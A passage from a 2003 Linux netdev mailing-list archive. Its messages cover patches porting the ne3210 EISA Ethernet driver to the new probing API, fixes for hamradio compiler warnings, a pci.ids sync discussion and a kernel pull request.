isa_memcpy_toio(shmem, buf, count); + memcpy_toio(shmem, buf, count); } static int ne3210_open(struct net_device *dev) @@ -361,7 +342,23 @@ return 0; } +static struct eisa_device_id ne3210_ids[] = { + { "EGL0101" }, + { "NVL1801" }, + { "" }, +}; + +static struct eisa_driver ne3210_eisa_driver = { + .id_table = ne3210_ids, + .driver = { + .name = "ne3210", + .probe = ne3210_eisa_probe, + .remove = __devexit_p (ne3210_eisa_remove), + }, +}; + #ifdef MODULE +#if 0 #define MAX_NE3210_CARDS 4 /* Max number of NE3210 cards per module */ static struct net_device dev_ne3210[MAX_NE3210_CARDS]; static int io[MAX_NE3210_CARDS]; @@ -374,50 +371,22 @@ MODULE_PARM_DESC(io, "I/O base address(es)"); MODULE_PARM_DESC(irq, "IRQ number(s)"); MODULE_PARM_DESC(mem, "memory base address(es)"); +#endif +#endif /* MODULE */ + + MODULE_DESCRIPTION("NE3210 EISA Ethernet driver"); MODULE_LICENSE("GPL"); -int init_module(void) +int ne3210_init(void) { - int this_dev, found = 0; - - for (this_dev = 0; this_dev < MAX_NE3210_CARDS; this_dev++) { - struct net_device *dev = &dev_ne3210[this_dev]; - dev->irq = irq[this_dev]; - dev->base_addr = io[this_dev]; - dev->mem_start = mem[this_dev]; - dev->init = ne3210_probe; - /* Default is to only install one card. */ - if (io[this_dev] == 0 && this_dev != 0) break; - if (register_netdev(dev) != 0) { - printk(KERN_WARNING "ne3210.c: No NE3210 card found (i/o = 0x%x).\n", io[this_dev]); - if (found != 0) { /* Got at least one. */ - return 0; - } - return -ENXIO; - } - found++; - } - return 0; + return eisa_driver_register (&ne3210_eisa_driver); } -void cleanup_module(void) +void ne3210_cleanup(void) { - int this_dev; - - for (this_dev = 0; this_dev < MAX_NE3210_CARDS; this_dev++) { - struct net_device *dev = &dev_ne3210[this_dev]; - if (dev->priv != NULL) { - free_irq(dev->irq, dev); - release_region(dev->base_addr, NE3210_IO_EXTENT); - if (ei_status.reg0) - iounmap((void *)dev->mem_start); - unregister_netdev(dev); - kfree(dev->priv); - dev->priv = NULL; - } - } + eisa_driver_unregister (&ne3210_eisa_driver); } -#endif /* MODULE */ - +module_init (ne3210_init); +module_exit (ne3210_cleanup); --=-=-= -- Places change, faces change. Life is so very strange. --=-=-=-- From luemmel.org@mail.qbiz.de Sat Sep 27 19:32:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 19:32:11 -0700 (PDT) Received: from mail.qbiz.de (qmailr@dynamischer-server.de [217.160.110.98]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S2W1Fx027744 for ; Sat, 27 Sep 2003 19:32:02 -0700 Received: (qmail 31415 invoked by uid 89); 28 Sep 2003 02:32:00 -0000 Received: (qmail 31394 invoked by uid 89); 28 Sep 2003 02:31:55 -0000 Received: from unknown (HELO vger.kernel.org) (67.72.78.212) by 0 with SMTP; 28 Sep 2003 02:31:55 -0000 Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S262303AbTI1CYz (ORCPT ); Sat, 27 Sep 2003 22:24:55 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S262304AbTI1CYz (ORCPT ); Sat, 27 Sep 2003 22:24:55 -0400 Received: from smtp13.eresmas.com ([62.81.235.113]:38286 "EHLO smtp13.eresmas.com") by vger.kernel.org with ESMTP id S262303AbTI1CYy (ORCPT ); Sat, 27 Sep 2003 22:24:54 -0400 Received: from [192.168.108.56] (helo=mx06.in.mad.eresmas.com) by smtp13.eresmas.com with esmtp (Exim 4.10) id 19xtJg-0002gJ-00; Fri, 12 Sep 2003 21:10:48 +0200 Received: from [80.102.89.5] (helo=wanadoo.es) by mx06.in.mad.eresmas.com with esmtp (Exim 4.20) id 19xtGO-0007uo-7L; Fri, 12 Sep 2003 21:07:24 +0200 Message-ID: <3F621965.4070106@wanadoo.es> Date: Fri, 12 Sep 2003 21:07:17 +0200 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-kernel Subject: Re: [PATCH 2.6] pci.ids for e1000 X-Enigmail-Version: 0.63.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -1.1 Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev Content-Length: 737 Lines: 25 Jeff Garzik wrote: > The general idea is to keep 2.4, 2.6, and pciids.sf.net in sync. is there sync between 2.4, 2.6, and pciids.sf.net ? ;-) Linus and Marcelo should not accept patches against pci.ids, all updates should go to pciids.sf.net. And every X time to do a sync with 2.4 and 2.6. It's the easiest, because otherwise is a chaos and it takes too much work to do several merges: 2.4 <-> 2.6 2.4 <-> pciids 2.4 <-> 2.6 -- Que trabajen los romanos, que tienen el pecho de lata. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From jgarzik@pobox.com Sat Sep 27 20:45:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 20:45:56 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S3jnFx002205 for ; Sat, 27 Sep 2003 20:45:50 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33393 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3RBO-0000pF-VG; Sun, 28 Sep 2003 03:21:11 +0100 Message-ID: <3F76458C.7030600@pobox.com> Date: Sat, 27 Sep 2003 22:21:00 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: hamradio/baycom and "make allyesconfig" References: <20030926164821.1e83dce9.shemminger@osdl.org> In-Reply-To: <20030926164821.1e83dce9.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1664 Lines: 25 Can you fix this up, in 2.6.0-test6? > CC drivers/net/hamradio/bpqether.o > CC drivers/net/hamradio/baycom_ser_fdx.o > drivers/net/hamradio/baycom_ser_fdx.c: In function `init_baycomserfdx': > drivers/net/hamradio/baycom_ser_fdx.c:641: warning: implicit declaration of function `hdlcdrv_register' > drivers/net/hamradio/baycom_ser_fdx.c:643: warning: assignment makes pointer from integer without a cast > drivers/net/hamradio/baycom_ser_fdx.c: In function `cleanup_baycomserfdx': > drivers/net/hamradio/baycom_ser_fdx.c:667: warning: implicit declaration of function `hdlcdrv_unregister' > CC drivers/net/hamradio/hdlcdrv.o > CC drivers/net/hamradio/baycom_ser_hdx.o > drivers/net/hamradio/baycom_ser_hdx.c: In function `init_baycomserhdx': > drivers/net/hamradio/baycom_ser_hdx.c:678: warning: implicit declaration of function `hdlcdrv_register' > drivers/net/hamradio/baycom_ser_hdx.c:680: warning: assignment makes pointer from integer without a cast > drivers/net/hamradio/baycom_ser_hdx.c: In function `cleanup_baycomserhdx': > drivers/net/hamradio/baycom_ser_hdx.c:704: warning: implicit declaration of function `hdlcdrv_unregister' > CC drivers/net/hamradio/baycom_par.o > drivers/net/hamradio/baycom_par.c: In function `init_baycompar': > drivers/net/hamradio/baycom_par.c:518: warning: implicit declaration of function `hdlcdrv_register' > drivers/net/hamradio/baycom_par.c:520: warning: assignment makes pointer from integer without a cast > drivers/net/hamradio/baycom_par.c: In function `cleanup_baycompar': > drivers/net/hamradio/baycom_par.c:544: warning: implicit declaration of function `hdlcdrv_unregister' From shemminger@osdl.org Sat Sep 27 20:58:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 20:58:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S3wrFx003402 for ; Sat, 27 Sep 2003 20:58:53 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8S3wk130098; Sat, 27 Sep 2003 20:58:46 -0700 Date: Sat, 27 Sep 2003 20:58:45 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: hamradio/baycom and "make allyesconfig" Message-Id: <20030927205845.64c26951.shemminger@osdl.org> In-Reply-To: <3F76458C.7030600@pobox.com> References: <20030926164821.1e83dce9.shemminger@osdl.org> <3F76458C.7030600@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 303 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1073 Lines: 22 Sorry, overlooked the corresponding .h file in that patch, here it is. diff -Nru a/include/linux/hdlcdrv.h b/include/linux/hdlcdrv.h --- a/include/linux/hdlcdrv.h Sat Sep 27 20:57:18 2003 +++ b/include/linux/hdlcdrv.h Sat Sep 27 20:57:18 2003 @@ -359,11 +359,11 @@ void hdlcdrv_receiver(struct net_device *, struct hdlcdrv_state *); void hdlcdrv_transmitter(struct net_device *, struct hdlcdrv_state *); void hdlcdrv_arbitrate(struct net_device *, struct hdlcdrv_state *); -int hdlcdrv_register_hdlcdrv(struct net_device *dev, const struct hdlcdrv_ops *ops, - unsigned int privsize, char *ifname, - unsigned int baseaddr, unsigned int irq, - unsigned int dma); -int hdlcdrv_unregister_hdlcdrv(struct net_device *dev); +struct net_device *hdlcdrv_register(const struct hdlcdrv_ops *ops, + unsigned int privsize, const char *ifname, + unsigned int baseaddr, unsigned int irq, + unsigned int dma); +void hdlcdrv_unregister(struct net_device *dev); /* -------------------------------------------------------------------- */ From lxie@us.ibm.com Sat Sep 27 20:59:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 20:59:35 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S3xSFx003522 for ; Sat, 27 Sep 2003 20:59:28 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8S3xLm2359554 for ; Sat, 27 Sep 2003 23:59:21 -0400 Received: from d03nm691.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8S3xLKC215590 for ; Sat, 27 Sep 2003 21:59:21 -0600 Subject: To: netdev@oss.sgi.com Cc: Linda Xie X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Linda Xie Date: Sat, 27 Sep 2003 22:59:19 -0500 X-MIMETrack: Serialize by Router on D03NM691/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/27/2003 21:59:21 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lxie@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 529 Lines: 22 Hi, Can anyone explain why base_addr member of net_device struct in include/linux/netdevice.h is defined as unsigned long, while base_addr member of ifmap struct in include/linux/if.h is defined as unsigned short? I have a test case where netdev->base_addr is 0x230000. When dev_ifsioc() processes a "SIOCGIFMAP" request, it put 0x0000 into ifr->ifr_map.base_addr instead of 0x230000. Should base_addr member of ifmap struct be defined as unsigned long and ifconfig command be modified accordingly? Any thoughts? Linda From shemminger@osdl.org Sat Sep 27 21:01:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 21:02:04 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S41wFx004266 for ; Sat, 27 Sep 2003 21:01:58 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8S41o130588; Sat, 27 Sep 2003 21:01:50 -0700 Date: Sat, 27 Sep 2003 21:01:49 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com, linux-hams@vger.kernel.org Subject: [PATCH] Fix warning/error in hamradio/scc.c Message-Id: <20030927210149.667dbe50.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 948 Lines: 18 gcc 3.3 complains that scc.c is trying to compare TIMER_OFF (65536U) with mintime (unsigned char). Looks like the driver writer should have used an unsigned short instead. diff -Nru a/include/linux/scc.h b/include/linux/scc.h --- a/include/linux/scc.h Sat Sep 27 20:57:30 2003 +++ b/include/linux/scc.h Sat Sep 27 20:57:30 2003 @@ -200,7 +200,7 @@ unsigned char fulldup; /* Full Duplex mode 0=CSMA 1=DUP 2=ALWAYS KEYED */ unsigned char waittime; /* Waittime before any transmit attempt */ unsigned int maxkeyup; /* Maximum time to transmit (seconds) */ - unsigned char mintime; /* Minimal offtime after MAXKEYUP timeout (seconds) */ + unsigned short mintime; /* Minimal offtime after MAXKEYUP timeout (seconds) */ unsigned int idletime; /* Maximum idle time in ALWAYS KEYED mode (seconds) */ unsigned int maxdefer; /* Timer for CSMA channel busy limit */ unsigned char tx_inhibit; /* Transmit is not allowed when set */ From jgarzik@pobox.com Sun Sep 28 07:37:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 07:37:40 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SEbXFx012984 for ; Sun, 28 Sep 2003 07:37:34 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32927 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3cg0-0006xx-A7; Sun, 28 Sep 2003 15:37:32 +0100 Message-ID: <3F76F223.4070108@pobox.com> Date: Sun, 28 Sep 2003 10:37:23 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: hamradio/baycom and "make allyesconfig" References: <20030926164821.1e83dce9.shemminger@osdl.org> <3F76458C.7030600@pobox.com> <20030927205845.64c26951.shemminger@osdl.org> In-Reply-To: <20030927205845.64c26951.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sun Sep 28 07:37:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 07:37:44 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SEbeFx012991 for ; Sun, 28 Sep 2003 07:37:41 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32928 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3cg7-0006y2-NM; Sun, 28 Sep 2003 15:37:39 +0100 Message-ID: <3F76F22A.4000506@pobox.com> Date: Sun, 28 Sep 2003 10:37:30 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mzyngier@freesurf.fr CC: p_gortmaker@yahoo.com, netdev@oss.sgi.com Subject: Re: [PATCH] ne3210 update References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 307 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From garzik@gtf.org Sun Sep 28 07:45:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 07:45:20 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SEj8Fx013667 for ; Sun, 28 Sep 2003 07:45:08 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 2D6226653; Sun, 28 Sep 2003 10:45:01 -0400 (EDT) Date: Sun, 28 Sep 2003 10:45:01 -0400 From: Jeff Garzik To: torvalds@osdl.org Cc: netdev@oss.sgi.com Subject: [bk patches] 2.6.x net driver updates Message-ID: <20030928144501.GA16484@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 16990 Lines: 537 Linus, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.5 This will update the following files: drivers/net/Space.c | 4 drivers/net/ne3210.c | 293 ++++++++++++++++---------------------- drivers/net/wireless/arlan-main.c | 2 include/linux/hdlcdrv.h | 10 - 4 files changed, 137 insertions(+), 172 deletions(-) through these ChangeSets: (03/09/28 1.1378) [PATCH] ne3210 update The enclosed patch ports the ne3210 driver over the EISA probing API. It also fixes some ioremap/isa_memcopy_fromio problems (depending on where the card memory was mapped) by using ioremap unconditionally and letting memcopy_fromio do the right thing. Finally, it removes the card from Space.c (warning, potential interface renumbering !). The module options are currently disabled, until Rusty's module_param_array() patch is included. I will re-introduce them ASAP. Quite heavily tested on x86. (03/09/28 1.1377) [PATCH] Fix warnings in hamradio/baycom build Sorry, overlooked the corresponding .h file in that patch, here it is. (03/09/28 1.1376) [PATCH] Fix debug statement after return in drivers/net/wireless/arlan-main.c This patch applies to 2.5.68 and is listed on kbugs.org. The debug statement is never executed because it is after a return. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Sun Sep 28 10:38:07 2003 +++ b/drivers/net/Space.c Sun Sep 28 10:38:07 2003 @@ -67,7 +67,6 @@ extern int ac3200_probe(struct net_device *); extern int es_probe(struct net_device *); extern int lne390_probe(struct net_device *); -extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); extern int ni52_probe(struct net_device *); @@ -154,9 +153,6 @@ #endif #ifdef CONFIG_LNE390 {lne390_probe, 0}, -#endif -#ifdef CONFIG_NE3210 - {ne3210_probe, 0}, #endif {NULL, 0}, }; diff -Nru a/drivers/net/ne3210.c b/drivers/net/ne3210.c --- a/drivers/net/ne3210.c Sun Sep 28 10:38:07 2003 +++ b/drivers/net/ne3210.c Sun Sep 28 10:38:07 2003 @@ -23,6 +23,7 @@ This driver WILL NOT WORK FOR THE NE3200 - it is completely different and does not use an 8390 at all. + Updated to EISA probing API 5/2003 by Marc Zyngier. */ static const char *version = @@ -44,9 +45,6 @@ #include "8390.h" -int ne3210_probe(struct net_device *dev); -static int ne3210_probe1(struct net_device *dev, int ioaddr); - static int ne3210_open(struct net_device *dev); static int ne3210_close(struct net_device *dev); @@ -59,7 +57,6 @@ #define NE3210_START_PG 0x00 /* First page of TX buffer */ #define NE3210_STOP_PG 0x80 /* Last page +1 of RX ring */ -#define NE3210_ID_PORT 0xc80 /* Same for all EISA cards */ #define NE3210_IO_EXTENT 0x20 #define NE3210_SA_PROM 0x16 /* Start of e'net addr. */ #define NE3210_RESET_PORT 0xc84 @@ -69,10 +66,9 @@ #define NE3210_ADDR1 0x00 #define NE3210_ADDR2 0x1b -#define NE3210_ID 0x0118cc3a /* 0x3acc = 1110 10110 01100 = nvl */ - #define NE3210_CFG1 0xc84 /* NB: 0xc84 is also "reset" port. */ #define NE3210_CFG2 0xc90 +#define NE3210_CFG_EXTENT (NE3210_CFG2 - NE3210_CFG1 + 1) /* * You can OR any of the following bits together and assign it @@ -89,152 +85,108 @@ static unsigned char irq_map[] __initdata = {15, 12, 11, 10, 9, 7, 5, 3}; static unsigned int shmem_map[] __initdata = {0xff0, 0xfe0, 0xfff0, 0xd8, 0xffe0, 0xffc0, 0xd0, 0x0}; +static const char *ifmap[] __initdata = {"UTP", "?", "BNC", "AUI"}; +static int ifmap_val[] __initdata = { + IF_PORT_10BASET, + IF_PORT_UNKNOWN, + IF_PORT_10BASE2, + IF_PORT_AUI, +}; -/* - * Probe for the card. The best way is to read the EISA ID if it - * is known. Then we can check the prefix of the station address - * PROM for a match against the value assigned to Novell. - */ - -int __init ne3210_probe(struct net_device *dev) +static int __init ne3210_eisa_probe (struct device *device) { - unsigned short ioaddr = dev->base_addr; - - SET_MODULE_OWNER(dev); + unsigned long ioaddr, phys_mem; + int i, retval, port_index; + struct eisa_device *edev = to_eisa_device (device); + struct net_device *dev; - if (ioaddr > 0x1ff) /* Check a single specified location. */ - return ne3210_probe1(dev, ioaddr); - else if (ioaddr > 0) /* Don't probe at all. */ - return -ENXIO; - - if (!EISA_bus) { -#if NE3210_DEBUG & NE3210_D_PROBE - printk("ne3210-debug: Not an EISA bus. Not probing high ports.\n"); -#endif - return -ENXIO; + /* Allocate dev->priv and fill in 8390 specific dev fields. */ + if (!(dev = alloc_ei_netdev ())) { + printk ("ne3210.c: unable to allocate memory for dev!\n"); + return -ENOMEM; } - /* EISA spec allows for up to 16 slots, but 8 is typical. */ - for (ioaddr = 0x1000; ioaddr < 0x9000; ioaddr += 0x1000) - if (ne3210_probe1(dev, ioaddr) == 0) - return 0; - - return -ENODEV; -} - -static int __init ne3210_probe1(struct net_device *dev, int ioaddr) -{ - int i, retval; - unsigned long eisa_id; - const char *ifmap[] = {"UTP", "?", "BNC", "AUI"}; - - if (!request_region(dev->base_addr, NE3210_IO_EXTENT, dev->name)) - return -EBUSY; + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, device); + device->driver_data = dev; + ioaddr = edev->base_addr; - if (inb_p(ioaddr + NE3210_ID_PORT) == 0xff) { - retval = -ENODEV; + if (ethdev_init (dev)) { + printk ("ne3210.c: unable to allocate memory for dev->priv!\n"); + retval = -ENOMEM; goto out; } -#if NE3210_DEBUG & NE3210_D_PROBE - printk("ne3210-debug: probe at %#x, ID %#8x\n", ioaddr, inl(ioaddr + NE3210_ID_PORT)); - printk("ne3210-debug: config regs: %#x %#x\n", - inb(ioaddr + NE3210_CFG1), inb(ioaddr + NE3210_CFG2)); -#endif - - -/* Check the EISA ID of the card. */ - eisa_id = inl(ioaddr + NE3210_ID_PORT); - if (eisa_id != NE3210_ID) { - retval = -ENODEV; + if (!request_region(ioaddr, NE3210_IO_EXTENT, dev->name)) { + retval = -EBUSY; goto out; } - -#if 0 -/* Check the vendor ID as well. Not really required. */ - if (inb(ioaddr + NE3210_SA_PROM + 0) != NE3210_ADDR0 - || inb(ioaddr + NE3210_SA_PROM + 1) != NE3210_ADDR1 - || inb(ioaddr + NE3210_SA_PROM + 2) != NE3210_ADDR2 ) { - printk("ne3210.c: card not found"); - for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %02x", inb(ioaddr + NE3210_SA_PROM + i)); - printk(" (invalid prefix).\n"); - retval = -ENODEV; - goto out; + if (!request_region(ioaddr + NE3210_CFG1, + NE3210_CFG_EXTENT, dev->name)) { + retval = -EBUSY; + goto out1; } + +#if NE3210_DEBUG & NE3210_D_PROBE + printk("ne3210-debug: probe at %#x, ID %s\n", ioaddr, edev->id.sig); + printk("ne3210-debug: config regs: %#x %#x\n", + inb(ioaddr + NE3210_CFG1), inb(ioaddr + NE3210_CFG2)); #endif - /* Allocate dev->priv and fill in 8390 specific dev fields. */ - if (ethdev_init(dev)) { - printk ("ne3210.c: unable to allocate memory for dev->priv!\n"); - retval = -ENOMEM; - goto out; - } + port_index = inb(ioaddr + NE3210_CFG2) >> 6; printk("ne3210.c: NE3210 in EISA slot %d, media: %s, addr:", - ioaddr/0x1000, ifmap[inb(ioaddr + NE3210_CFG2) >> 6]); + edev->slot, ifmap[port_index]); for(i = 0; i < ETHER_ADDR_LEN; i++) printk(" %02x", (dev->dev_addr[i] = inb(ioaddr + NE3210_SA_PROM + i))); - printk(".\nne3210.c: "); + /* Snarf the interrupt now. CFG file has them all listed as `edge' with share=NO */ - if (dev->irq == 0) { - unsigned char irq_reg = inb(ioaddr + NE3210_CFG2) >> 3; - dev->irq = irq_map[irq_reg & 0x07]; - printk("using"); - } else { - /* This is useless unless we reprogram the card here too */ - if (dev->irq == 2) dev->irq = 9; /* Doh! */ - printk("assigning"); - } - printk(" IRQ %d,", dev->irq); + dev->irq = irq_map[(inb(ioaddr + NE3210_CFG2) >> 3) & 0x07]; + printk(".\nne3210.c: using IRQ %d, ", dev->irq); retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); if (retval) { printk (" unable to get IRQ %d.\n", dev->irq); - goto out1; - } - - if (dev->mem_start == 0) { - unsigned char mem_reg = inb(ioaddr + NE3210_CFG2) & 0x07; - dev->mem_start = shmem_map[mem_reg] * 0x1000; - printk(" using "); - } else { - /* Should check for value in shmem_map and reprogram the card to use it */ - dev->mem_start &= 0xfff8000; - printk(" assigning "); + goto out2; } - printk("%dkB memory at physical address %#lx\n", - NE3210_STOP_PG/4, dev->mem_start); + phys_mem = shmem_map[inb(ioaddr + NE3210_CFG2) & 0x07] * 0x1000; /* BEWARE!! Some dain-bramaged EISA SCUs will allow you to put the card mem within the region covered by `normal' RAM !!! */ - if (dev->mem_start > 1024*1024) { /* phys addr > 1MB */ - if (dev->mem_start < virt_to_phys(high_memory)) { + if (phys_mem > 1024*1024) { /* phys addr > 1MB */ + if (phys_mem < virt_to_phys(high_memory)) { printk(KERN_CRIT "ne3210.c: Card RAM overlaps with normal memory!!!\n"); printk(KERN_CRIT "ne3210.c: Use EISA SCU to set card memory below 1MB,\n"); printk(KERN_CRIT "ne3210.c: or to an address above 0x%lx.\n", virt_to_phys(high_memory)); printk(KERN_CRIT "ne3210.c: Driver NOT installed.\n"); retval = -EINVAL; - goto out2; + goto out3; } - dev->mem_start = (unsigned long)ioremap(dev->mem_start, NE3210_STOP_PG*0x100); - if (dev->mem_start == 0) { - printk(KERN_ERR "ne3210.c: Unable to remap card memory above 1MB !!\n"); - printk(KERN_ERR "ne3210.c: Try using EISA SCU to set memory below 1MB.\n"); - printk(KERN_ERR "ne3210.c: Driver NOT installed.\n"); - retval = -EAGAIN; - goto out2; - } - ei_status.reg0 = 1; /* Use as remap flag */ - printk("ne3210.c: remapped %dkB card memory to virtual address %#lx\n", - NE3210_STOP_PG/4, dev->mem_start); } + + if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, dev->name)) { + printk ("ne3210.c: Unable to request shared memory at physical address %#lx\n", + phys_mem); + goto out3; + } + + printk("%dkB memory at physical address %#lx\n", + NE3210_STOP_PG/4, phys_mem); + dev->mem_start = (unsigned long)ioremap(phys_mem, NE3210_STOP_PG*0x100); + if (dev->mem_start == 0) { + printk(KERN_ERR "ne3210.c: Unable to remap card memory !!\n"); + printk(KERN_ERR "ne3210.c: Driver NOT installed.\n"); + retval = -EAGAIN; + goto out4; + } + printk("ne3210.c: remapped %dkB card memory to virtual address %#lx\n", + NE3210_STOP_PG/4, dev->mem_start); dev->mem_end = ei_status.rmem_end = dev->mem_start + (NE3210_STOP_PG - NE3210_START_PG)*256; ei_status.rmem_start = dev->mem_start + TX_PAGES*256; @@ -247,6 +199,7 @@ ei_status.rx_start_page = NE3210_START_PG + TX_PAGES; ei_status.stop_page = NE3210_STOP_PG; ei_status.word16 = 1; + ei_status.priv = phys_mem; if (ei_debug > 0) printk(version); @@ -258,18 +211,46 @@ dev->open = &ne3210_open; dev->stop = &ne3210_close; + dev->if_port = ifmap_val[port_index]; + + if ((retval = register_netdev (dev))) + goto out5; + NS8390_init(dev, 0); return 0; -out2: - free_irq(dev->irq, dev); -out1: - kfree(dev->priv); - dev->priv = NULL; -out: - release_region(ioaddr, NE3210_IO_EXTENT); + + out5: + iounmap((void *)dev->mem_start); + out4: + release_mem_region (phys_mem, 